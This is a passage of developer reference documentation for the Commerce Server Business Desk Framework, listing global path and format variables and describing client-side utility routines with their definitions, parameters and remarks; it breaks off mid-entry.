This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSSiteName, which is read from the file Csapp.ini in the Global.asa file.

g_sActionId
A string that contains the Uniform Resource Locator (URL) path and query string of the current page, relative to the Business Desk root folder. This string is known as the Action ID. This value corresponds to the id attribute of one of the action elements in one of the module configuration files.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself.

g_sBDAssetRoot
A string containing the complete URL path to the Business Desk Assets folder where all shared images are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the assets folder ('Assets/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBDConfigPath
A string containing the complete file system path to the Business Desk configuration folder where all Business Desk XML configuration files are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is the file system path equivalent of the virtual path specified by the global variable g_sBizDeskRoot.

g_sBDConfigRoot
A string containing the complete URL path to the Business Desk configuration folder where all XML configuration files are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the configuration folder ('Config/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBDIncludeRoot
A string containing the complete URL path to the Business Desk include folder.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the include folder ('Include/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBizDeskRoot
A string containing the complete URL path to the Business Desk folder.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by adding slash characters ('/') to the beginning and end of the string contained in the global variable g_MSCSBizDeskRoot.

g_sBizDeskRootPage
A string containing the complete URL path to the master start page of the Business Desk.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the master start page (Bizdesk.asp) to the end of the string contained in the global variable g_sBizDeskRoot.

g_sContextDefault
A string containing the value of the id attribute of the task element that will be shown as the default context menu item for a Business Desk module.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value "open", but can be set to another value prior to the routine InsertTaskBar being called. The corresponding task definition must also have its type attribute set to "context".

g_sMSCSCurrencyFormat
A string containing a currency format to be used as the data associated with the format element within a numeric element of the currency subtype in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting MSCSCurrencyFormat, which the Global.asa file reads from the site store.

g_sMSCSDateFormat
A string containing a date format to be used as the data associated with the format element within a date element in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting MSCSDateFormat, which the Global.asa file reads from the site store.

g_sMSCSNumberFormat
A string containing a number format to be used as the data associated with the format element within a numeric element of the integer or float sub-type in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSNumberFormat, which the Global.asa file reads from the site store.

g_sMSCSWeekStartDay
A string specifying the first day of the week, to be used as the data associated with the firstday attribute of a date element in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSWeekStartDay, which is obtained from the DataFunctions object using the site default locale.

SHOW_DEBUG_TEXT
A Boolean value that controls whether debug text is displayed during certain routines. A value of True causes the debug text to be displayed, and a value of False suppresses the display of the debug text.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, SHOW_DEBUG_TEXT is set to False. When MSCSEnv is set to DEVELOPMENT, SHOW_DEBUG_TEXT is set to True.

There is also an Application object variable with the same name as this global variable.

SHOW_OBJECT_ERRORS
A Boolean value that controls whether object loading errors are displayed in a dialog box upon completion of loading. A value of True causes the dialog box to be displayed, and a value of False suppresses the display of the dialog box.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, SHOW_OBJECT_ERRORS is set to False. When MSCSEnv is set to DEVELOPMENT, SHOW_OBJECT_ERRORS is set to True.

There is also an Application object variable with the same name as this global variable.

VERBOSE_OUTPUT
A Boolean value that controls whether verbose output is provided while page objects are loading for the first time after an Internet Information Service (IIS) reset. A value of True provides verbose output, and a value of False suppresses verbose output.

By default, both possible settings of the variable MSCSEnv in the Global.asa file, PRODUCTION and DEVELOPMENT, result in VERBOSE_OUTPUT being set to False. Modify the Global.asa file as necessary to set this variable to True.

There is also an Application object variable with the same name as this global variable.


Utility Routines

The Commerce Server Business Desk Framework defines a variety of client-side and server-side utility routines that provide standard functionality to Business Desk modules. Wherever possible, module developers should use these routines rather than writing their own.

This section contains:

  • Client-Side Routines. Provides an alphabetized list of all client-side utility routines provided by the Business Desk Framework.
  • Server-Side Routines. Provides an alphabetized list of all server-side utility routines provided by the Business Desk Framework.


Client-Side Routines

The Commerce Server Business Desk Framework defines the following client-side routines for use by modules developers.

Routine Description
AddCDATANode Adds a CDATA type item node to the specified Extensible Markup Language (XML) document.

Defined in the file HTTPXMLUtil.htm.
AddClass Adds an additional customizable style sheet (CSS) class to an HTML element.

Defined in the file ActionPageUtil.asp.
AddItemNode Adds an item node to the specified XML document.

Defined in the file HTTPXMLUtil.htm.
BDHALsizeButtons Ensures that all button elements in the specified collection with the specified class name have the same width.

Defined in the file BDHALUtil.htm.
BDHALsizeSelects Ensures that all EditField elements of type 'select' in the specified collection with the specified class name have the same width.

Defined in the file BDHALUtil.htm.
bGetPubRequired Returns a Boolean that indicates whether data publication has been flagged as required.

Defined in the file ActionPageUtil.asp.
bHasClass Determines whether an HTML element has a specific CSS class associated with it.

Defined in the file ActionPageUtil.asp.
bIsDate Determines whether a string contains a valid date.

Defined in the file ClientDateUtil.asp.
ChangeControlStylesheet Resets style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Defined in the file ActionPageUtil.asp.
ClearStatusText Clears the text in the status bar.

Defined in the file ActionPageUtil.asp.
ClearTemp Removes a value from the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
clickContextMenuItem Runs the routine specified by the onContextClick attribute for a clicked context menu item. This routine should be set as the value of the onClick attribute of the context menu element so it will act on all child menu items.

Defined in the file ActionPageUtil.asp.
closeContextMenu Hides the context menu and releases the mouse. Use this routine as the value of the onClose attribute for a context menu element.

Defined in the file ActionPageUtil.asp.
dClearServerState Clears the server-state Dictionary object stored in the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
dDictFromXML Converts a standard XML document into a Dictionary object.

Defined in the file HTTPXMLUtil.htm.
dGetServerState Makes a client-side copy of the server-state Dictionary object stored in the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
DisableTask Disables the specified task.

Defined in the file ActionPageUtil.asp.
DisableTaskMenuItem Disables the specified task menu item.

Defined in the file ActionPageUtil.asp.
dSetServerState Saves a client-side version of the server-state Dictionary object to the Session object on the server.

Defined in the file HTTPXMLUtil.htm.
dtGetDate Formats a date string into a date variant.

Defined in the file ClientDateUtil.asp.
elGetTaskBtn Returns the specified task button element.

Defined in the file ActionPageUtil.asp.
EnableAllTaskMenuItems Enables or disables all menu items for the specified task.

Defined in the file ActionPageUtil.asp.
EnableAllTasks Enables or disables all tasks.

Defined in the file ActionPageUtil.asp.
EnableTask Enables the specified task.

Defined in the file ActionPageUtil.asp.
EnableTaskMenuItem Enables the specified task menu item.

Defined in the file ActionPageUtil.asp.
execDefaultTask Serves as the handler for the ListSheet onDblClick event.

Defined in the file ActionPageUtil.asp.
execTaskFromContextMenu Serves as the handler for the ListSheet onContextClick event.

Defined in the file ActionPageUtil.asp.
GetTemp Returns a specific value from the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
HideFindBy Hides the find pane.

Defined in the file ActionPageUtil.asp.
HideStatusAnimation Hides the status animation and text.

Defined in the file ActionPageUtil.asp.
HideStatusLegend Hides the status legend in the status bar.

Defined in the file ActionPageUtil.asp.
HideWaitDisplay Hides the wait display.

Defined in the file ActionPageUtil.asp.
nGetDay Returns the day from a date string, as a number.

Defined in the file ClientDateUtil.asp.
nGetMonth Returns the month from a date string, as a number.

Defined in the file ClientDateUtil.asp.
nGetYear Returns the year from a date string, as a number.

Defined in the file ClientDateUtil.asp.
OpenEditPage Opens a nested edit page.

Defined in the file ActionPageUtil.asp.
OpenHelp Opens the help window and displays the specified topic.

Defined in the file ActionPageUtil.asp.
RemoveClass Removes a specified CSS class from an HTML element.

Defined in the file ActionPageUtil.asp.
ReplaceClass Replaces one CSS class with another within an HTML element.

Defined in the file ActionPageUtil.asp.
ResetSaveBtns Enables or disables the save buttons (Save, SaveBack, and SaveNew) based on the dirty, valid, and required states.

Defined in the file ActionPageUtil.asp.
SetDirty Sets the dirty flag for the page and establishes a confirmation message.

Defined in the file ActionPageUtil.asp.
SetFindByHeight Sets the height of the find pane.

Defined in the file ActionPageUtil.asp.
SetPageTitleText Sets the page title.

Defined in the file ActionPageUtil.asp.
SetPubRequired Flags data publication as required so that a warning dialog displays.

Defined in the file ActionPageUtil.asp.
SetRequired Sets the required flag for the page and establishes a warning message.
Defined in the file ActionPageUtil.asp.
SetStatusText Displays a specified string in the status area.

Defined in the file ActionPageUtil.asp.
SetTaskTooltip Sets a tooltip string for the specified task.

Defined in the file ActionPageUtil.asp.
SetTemp Stores a value in the Client State Dictionary.

Defined in the file ActionPageUtil.asp.
SetValid Sets the valid flag for the page and establishes a warning message.

Defined in the file ActionPageUtil.asp.
SetWaitDisplayText Sets new text in the wait display.

Defined in the file ActionPageUtil.asp.
sFormatString Performs string formatting using a format string with variable insertion points, similar to the C++ printf function.

Defined in the file ActionPageUtil.asp.
sGetFormattedDate Returns a date string constructed from numbers representing day, month, and year.

Defined in the file ActionPageUtil.asp.
sGetScriptError Formats a script error into a string containing HTML table formatting directives.

Defined in the file ActionPageUtil.asp.
sGetXMLError Formats an XML error into a string containing HTML table formatting directives.

Defined in the file ActionPageUtil.asp.
showContextMenu Displays a right-click context menu under the current mouse position. This routine should be set as the value of the onContextMenu attribute for the element to which you want to attach a context menu.

Defined in the file ActionPageUtil.asp.
ShowErrorDlg Displays a standard error dialog box.

Defined in the file ActionPageUtil.asp.
ShowFindBy Shows the find pane.

Defined in the file ActionPageUtil.asp.
showPermissionsDialog Displays the permissions dialog box.

Defined in the file ActionPageUtil.asp.
ShowWaitDisplay Shows the wait display.

Defined in the file ActionPageUtil.asp.
ShowXMLNodeErrors Displays an error dialog box for each error node in the specified XML document.

Defined in the file HTTPXMLUtil.htm.
sMergeGroups2 Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as a string.

Defined in the file ActionPageUtil.asp.
sMergeGroups3 Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as a string.

Defined in the file ActionPageUtil.asp.
toggleContextMenuHighlight Toggles the highlight for a context menu item. Use this routine as the value of the onHighlight and onUnhighlight attributes of a context menu element.

Defined in the file ActionPageUtil.asp.
ToggleFindBy Displays or hides the find pane to the opposite of its current display state.

Defined in the file ActionPageUtil.asp.
ToggleTask Toggles the enabled/disabled state of the specified task.

Defined in the file ActionPageUtil.asp.
xmlGetSiteTermsValue Displays a standard Site Terms Picker dialog box, allowing the user to choose one of several values for a given property.

Defined in the file ActionPageUtil.asp.
xmlGetXMLDOMDoc Returns an empty XML DOM Document.

Defined in HTTPXMLUtil.htm.
xmlMergeGroups2 Merges two single-tiered XML documents in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroups3 Merges three single-tiered XML documents in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroupsByID2 Merges two single-tiered XML data-islands in the standard XML data record format into a single two-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlMergeGroupsByID3 Merges three single-tiered XML data-islands in the standard XML data record format into a single three-tiered XML document in the same format, returning the result as an XML document node.

Defined in the file ActionPageUtil.asp.
xmlPostFormViaXML Posts a form via XMLHTTP transfer and then returns the XML response from the action page.

Defined in the file HTTPXMLUtil.htm.
xmlXMLFromDict Converts a Dictionary object into a standard XML document.

Defined in the file HTTPXMLUtil.htm.
xmlXMLFromForm Converts the element values within a form element to a standard XML format.

Defined in the file HTTPXMLUtil.htm.

The following lists show client-side routines that are not intended to be called by module code, organized alphabetically and by the include file in which they appear.

ActionPageUtil.asp
CloseMenu, DoTask, ExecuteTask, GotoAction, PosttoAction, RemoveSelection, SetEditMode, SetSelection, doc_onContextMenu, doc_onDragStart, doc_onKeyDown, doc_onSelectStart, InsertContextMenu, menu_onClick, menu_onKeyDown, menu_onMouseMove, menu_onMouseOver, oGetAdminEventLog, task_onKeyDown, task_onMouseDown, task_onMouseOut, task_onMouseOver, task_onMouseUp, taskWindow_onBeforeUnload, taskWindow_onClick, taskWindow_onLoad, winerr1_onLoad
ClientDateUtil.asp
nGetDatePart
dlg_confirm.asp
closeWindow
dlg_error.asp
closeWindow, sFormatString, toggleDetails
dlg_warn.asp
closeWindow
HTTPXMLUtil.asp
xmlUpdateServerState


AddCDATANode (client-side)

Use this routine to add a CDATA type item element to the specified XML document, using the passed strings to initialize the element.

Definition

sub AddCDATANode(byRef xmlDoc,
                 byVal sName,
                 byVal sValue)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the new node is added.
sName
A string containing a value assigned to the name attribute of the new item element.
sValue
A string containing the value to be placed within the CDATA construct that is assigned as the text of the item element.

Return Value

None.

Remarks

The string version of the added element has the following form:

<item name="sName"><![CDATA[sValue]]></item>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp. Note that this other routine does not make use of the xmlDoc parameter, but instead adds the CDATA node to a globally accessible XML document.

See Also

Client-Side Routines

AddItemNode (client-side)

xmlGetXMLDOMDoc (client-side)

Server-Side Routines

AddCDATANode (server-side)


AddClass (client-side)

Use this routine to add a customizable style sheet (CSS) class to the space-delimited list of classes associated with the className attribute of a specific HTML element.

Definition

sub AddClass(elItem,
             sNewClass)

Parameters

elItem
An HTML element to which the specified CSS class will be added.
sNewClass
A string containing the name of the CSS class to be added to the specified HTML element.

Return Value

None.

Remarks

The new CSS class is added to any existing CSS classes, the latter of which are not affected.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

bHasClass (client-side)

RemoveClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


AddItemNode (client-side)

Use this routine to add an item element to the specified XML document using the passed parameters.

Definition

sub AddItemNode(byRef xmlDoc,
                byVal sName,
                byVal sValue)

Parameters

xmlDoc
A reference to the XML DOMDocument object to which the new item element will be added.
sName
A string containing the value to be assigned to the name attribute of the new item element.
sValue
A string containing the value to be assigned to the value attribute of the new item element.

Return Value

None.

Remarks

The string version of the added element has the following form:

<item name="sName" value="sValue"/>

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp. Note that this other routine does not make use of the xmlDoc parameter, but instead adds the CDATA node to a globally accessible XML document.

See Also

Client-Side Routines

AddCDATANode (client-side)

xmlGetXMLDOMDoc (client-side)

Server-Side Routines

AddItemNode (server-side)


BDHALsizeButtons (client-side)

Use this routine to ensure that all buttons in the specified collection with the specified class name have the same width.

Definition

sub BDHALsizeButtons(elButtons,
                     sButtonClass,
                     bEnforceMinWidth)

Parameters

elButtons
A collection of HTML button elements.
sButtonClass
A string containing the name of the class of button elements for which the width will be adjusted.
bEnforceMinWidth
A Boolean value, where True means that a minimum width should be enforced, and False means that a minimum width should not be enforced.

Return Value

None.

Remarks

The standard minimum button width is 74 pixels.

This routine is available in the include file BDHALUtil.htm.

See Also

Client-Side Routines

BDHALsizeSelects (server-side)

Server-Side Routines


BDHALsizeSelects (client-side)

Use this routine to ensure that all EditFields of type 'select' in the specified collection with the specified class name have the same width.

Definition

sub BDHALsizeSelects(elSelects,
                     sSelectClass)

Parameters

elSelects
A collection of elements containing EditField HTCs of type 'select'.
sSelectClass
A string containing the name of the class of elements containing EditField HTCs of type 'select' for which the width will be adjusted.

Return Value

None.

Remarks

This routine is available in the include file BDHALUtil.htm.

See Also

Client-Side Routines

BDHALsizeButtons (client-side)

Server-Side Routines


bGetPubRequired (client-side)

Use this routine to return a Boolean that indicates whether data publication has been flagged as required.

Definition

function bGetPubRequired(sModule)

Parameters

sModule
A string that specifies the name of the module for which the publication requirement is being requested.

Return Value

A Boolean value indicating whether the "publication required" flag has been set for the specified module. A return value of True indicates that the requested "publication required" flag has been set, and a return value of False indicates it has not been set.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

SetPubRequired (client-side)

Server-Side Routines


bHasClass (client-side)

Use this routine to determine whether a particular customizable style sheet (CSS) class is associated with a specific HTML element.

Definition

function bHasClass(elItem,
                   sClass)

Parameters

elItem
An HTML element to be checked for the specified CSS class.
sClass
A string containing the name of the CSS class for which to check.

Return Value

A Boolean value indicating whether the specified CSS class is associated with the specified HTML element. A return value of True indicates that the CSS class was found in the className attribute of the element, and a return value of False indicates it was not found.

Remarks

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

AddClass (client-side)

RemoveClass (client-side)

ReplaceClass (client-side)

Server-Side Routines


bIsDate (client-side)

Use this routine to test whether a specified string contains a valid date in the format of the default locale for the site.

Definition

function bIsDate(sValue)

Parameters

sValue
A string containing the date to be tested against the format indicated by the global variable g_sMSCSDateFormat.

Return Value

A Boolean value indicating whether the passed date string is formatted appropriately for the default locale of the site. A return value of True indicates that the date is valid. A return value of False indicates that the date is not valid.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

dtGetDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


ChangeControlStylesheet (client-side)

Use this routine to change the style sheet for edit controls so that input can be in a different language than specified by the main style sheet.

Definition

sub ChangeControlStylesheet(sLanguage)

Parameters

sLanguage
A string that specifies the name of the new language-specific style sheet file to be used for the edit controls.

Return Value

None.

Remarks

The sLanguage parameter should be one of the file names shown in the following table, or the name of an equivalent file defined for another language and placed in the include\styles folder.

Style Sheet File | Description
chs_widgets.css | Style sheet for Chinese (Simplified) edit control input.
cht_widgets.css | Style sheet for Chinese (Traditional) edit control input.
en_widgets.css | Style sheet for English (Western Europe) edit control input.
jp_widgets.css | Style sheet for Japanese edit control input.
ko_widgets.css | Style sheet for Korean edit control input.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

Server-Side Routines

InsertControlStylesheet (server-side)


ClearStatusText (client-side)

Use this routine to clear the text in the status area.

Definition

sub ClearStatusText()

Parameters

None.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

HideStatusAnimation (client-side)

HideStatusLegend (client-side)

SetStatusText (client-side)

Server-Side Routines


ClearTemp (client-side)

Use this routine to remove a value or object from the Client State Dictionary stored in the parent frame. A specific key is passed to identify the value or object.

Definition

sub ClearTemp(sName)

Parameters

sName
A string used as the key of the value or object to be removed from the Client State Dictionary.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by invoking either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

GetTemp (client-side)

SetTemp (client-side)

Server-Side Routines


clickContextMenuItem (client-side)

Runs the routine specified by the onContextClick attribute for a clicked context menu item. This routine should be set as the value of the onClick attribute of the context menu element so it will act on all child menu items.

Definition

sub clickContextMenuItem()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

closeContextMenu (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


closeContextMenu (client-side)

Hides the context menu and releases the mouse. Use this routine as the value of the onClose attribute for a context menu element.

Definition

sub closeContextMenu()

Parameters

None.

Return Value

None.

Remarks

For more information about how context menus are configured, see MenuControl.

This routine is available in the include file ActionPageUtil.asp.

See Also

Client-Side Routines

clickContextMenuItem (client-side)

execTaskFromContextMenu (client-side)

showContextMenu (client-side)

toggleContextMenuHighlight (client-side)

Server-Side Routines


dClearServerState (client-side)

Use this routine to clear a server-state Dictionary object stored in the Session object on the server.

Definition

function dClearServerState(byVal sDictName)

Parameters

sDictName
A string containing the name of session variable with which the server-state Dictionary object is associated.

Return Value

An empty Dictionary object.

Remarks

This routine clears the Dictionary object by posting an XML request to the server, removing the Commerce Dictionary object from the session, and then returning an empty Scripting Dictionary object. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dGetServerState (client-side)

dSetServerState (client-side)

Server-Side Routines


dDictFromXML (client-side)

Use this routine to convert an XML document with child nodes of the form <item name="keyname" value="value"/> into a Dictionary object.

Definition

function dDictFromXML(byRef xmlDOMDoc)

Parameters

xmlDOMDoc
An XML DOMDocument object to be converted.

Return Value

A Dictionary object containing the converted XML document contents.

Remarks

Each name and value attribute becomes an entry in the Dictionary object where the name is the key and the value attribute contains the value.

This routine is available in the include file HTTPXMLUtil.htm.

There is a functionally equivalent version of this routine defined for server-side use in the file HTTPXMLUtil.asp.

See Also

Client-Side Routines

xmlXMLFromDict (client-side)

xmlXMLFromForm (client-side)

Server-Side Routines

dDictFromXML (server-side)


dGetServerState (client-side)

Use this routine to make a client-side copy of a server-state Dictionary object stored in the Session object on the server.

Definition

function dGetServerState(byVal sDictName)

Parameters

sDictName
Name of the session variable associated with the server-state Dictionary object.

Return Value

A Dictionary object initialized with the current values set in the specified Dictionary object stored in the Session object on the server.

Remarks

This routine gets the Dictionary object by posting an XML request to the server, converting the Commerce Dictionary object stored in the Session object to XML, and then returning it to the client where the XML is converted back to a scripting Dictionary object. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dClearServerState (client-side)

dSetServerState (client-side)

Server-Side Routines


DisableTask (client-side)

Use this routine to disable a specific task, dimming the button associated with the task.

Definition

sub DisableTask(sID)

Parameters

sID
A string that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

Given the ID of a task button element, this routine disables the task by setting the following attributes of the task element to the indicated values:

  • disabled set to True
  • className with "bdtaskdisabled" appended

This routine is only available after the taskbar has been inserted by calling either the InsertTaskBar method or the InsertEditTaskBar method.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

EnableAllTasks (client-side)

EnableTask (client-side)

ToggleTask (client-side)

Server-Side Routines


DisableTaskMenuItem (client-side)

Use this routine to disable a specific task menu item.

Definition

sub DisableTaskMenuItem(sID,
                        nItem)

Parameters

sID
A string that matches the id attribute of the corresponding task element in the relevant module configuration file.
nItem
A number indicating the position of the menu item to be disabled, counting from 0 (zero) rather than 1 (one).

Return Value

None.

Remarks

Given the ID of a task button menu element and the zero-based position of an item in the menu, this routine disables the task menu item by setting the following attributes of the task element menu to the indicated values:

  • className with "bdtaskdisabled" appended

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

EnableAllTaskMenuItems (client-side)

EnableTaskMenuItem (client-side)

Server-Side Routines


dSetServerState (client-side)

Use this routine to store the contents of a client-side Dictionary object in a server-side Dictionary object saved within the Session object on the server.

Definition

function dSetServerState(byVal sDictName,
                         byRef dServerState)

Parameters

sDictName
A string containing the session variable name to associate with the stored Dictionary object.
dServerState
A Dictionary object containing the entries to be copied to an equivalent Dictionary object on the server.

Return Value

A Dictionary object containing a copy of the current state of the Server State Dictionary in the Session object.

Remarks

This routine transfers the Dictionary object by converting it to XML, posting to the server, converting the XML to a Commerce Dictionary object, and then adding it to the Session object using the given name. This routine posts to the file response_session.asp.

This routine is available in the include file HTTPXMLUtil.htm.

See Also

Client-Side Routines

dClearServerState (client-side)

dGetServerState (client-side)

Server-Side Routines


dtGetDate (client-side)

Use this routine to convert a date string into a date variant.

Definition

function dtGetDate(sValue)

Parameters

sValue
A string containing a date in the format indicated by the g_sMSCSDateFormat global variable, from which the day is retrieved.

Return Value

A date variant initialized to the same date as provided in the passed string. If an error is encountered, the date variant is initialized to the current date.

Remarks

This routine is available in the include file ClientDateUtil.asp.

See Also

Client-Side Routines

bIsDate (client-side)

nGetDay (client-side)

nGetMonth (client-side)

nGetYear (client-side)

sGetFormattedDate (client-side)

Server-Side Routines


elGetTaskBtn (client-side)

Use this routine to retrieve a specific task button element.

Definition

function elGetTaskBtn(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

The task button element corresponding to the specified identifier.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

Server-Side Routines


EnableAllTaskMenuItems (client-side)

Use this routine to either enable or disable all menu items for a specified task. Menu items are enabled or disabled based on a passed Boolean parameter.

Definition

sub EnableAllTaskMenuItems(sID,
                           bEnable)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
bEnable
A Boolean value that specifies whether all menu items for the specified task should be enabled or disabled. A value of True enables all menu items; a value of False disables all menu items.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTaskMenuItem (client-side)

EnableTaskMenuItem (client-side)

Server-Side Routines


EnableAllTasks (client-side)

Use this routine to either enable or disable all tasks. The tasks are enabled or disabled based on a passed Boolean parameter.

Definition

sub EnableAllTasks(bEnable)

Parameters

bEnable
A Boolean value that specifies whether all tasks should be enabled or disabled. A value of True enables all tasks; a value of False disables all tasks.

Return Value

None.

Remarks

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

EnableTask (client-side)

ToggleTask (client-side)

Server-Side Routines


EnableTask (client-side)

Use this routine to enable the specified task, undimming the button associated with the task.

Definition

sub EnableTask(sID)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.

Return Value

None.

Remarks

Given the ID of a task button element, this routine enables the task by setting the following attributes of the task element to the indicated values:

  • disabled set to False
  • className with "bdtaskdisabled" removed

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTask (client-side)

DisableTaskMenuItem (client-side)

EnableAllTaskMenuItems (client-side)

EnableAllTasks (client-side)

EnableTaskMenuItem (client-side)

ToggleTask (client-side)

Server-Side Routines


EnableTaskMenuItem (client-side)

Use this routine to enable a specific task menu item.

Definition

sub EnableTaskMenuItem(sID,
                       nItem)

Parameters

sID
A string identifier that matches the id attribute of the corresponding task element in the relevant module configuration file.
nItem
The position of the menu item to be enabled, counting from 0 (zero) rather than 1 (one).

Return Value

None.

Remarks

Given the ID of a task button menu element and the zero-based position of an item in the menu, this routine enables the task menu item by setting the following attributes of the task element menu to the indicated values:

  • className with "bdtaskdisabled" removed

This routine is only available after the taskbar has been inserted by calling either InsertTaskBar or InsertEditTaskBar.

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

DisableTaskMenuItem (client-side)

EnableAllTaskMenuItems (client-side)

EnableTask (client-side)

Server-Side Routines


execDefaultTask (client-side)

Use this routine as the handler for the ListSheet HTML component (HTC) onDblClick event.

Definition

sub execDefaultTask()

Parameters

None.

Return Value

None.

Remarks

When defining the DIV element for ListSheet HTC, specify this routine as the handler for the onDblClick event, as follows:

<DIV CLASS='listSheet' ID=...
     DataXML=...
     MetaXML=...
     ...
     OnDblClick='execDefaultTask()'
     ...>
     Loading...
</DIV>

This routine is available in the include file ActionPageUtil.asp.

To minimize the size of action page downloads, this routine is a wrapper function that calls a function with the same name in the file bizdesk.asp. The version in bizdesk.asp takes an additional parameter (oWindow) as its first parameter, and is called using the "parent." notation.

See Also

Client-Side Routines

execTaskFromContextMenu (client-side)

Server-Side Routines


execTaskFromContextMenu (client-side)

Use this routine as the handler for the ListSheet HTML component (HTC) onContextClick event.

Definition

sub execTaskFromContextMenu()

Parameters

None.

Return Value

None.

Remarks
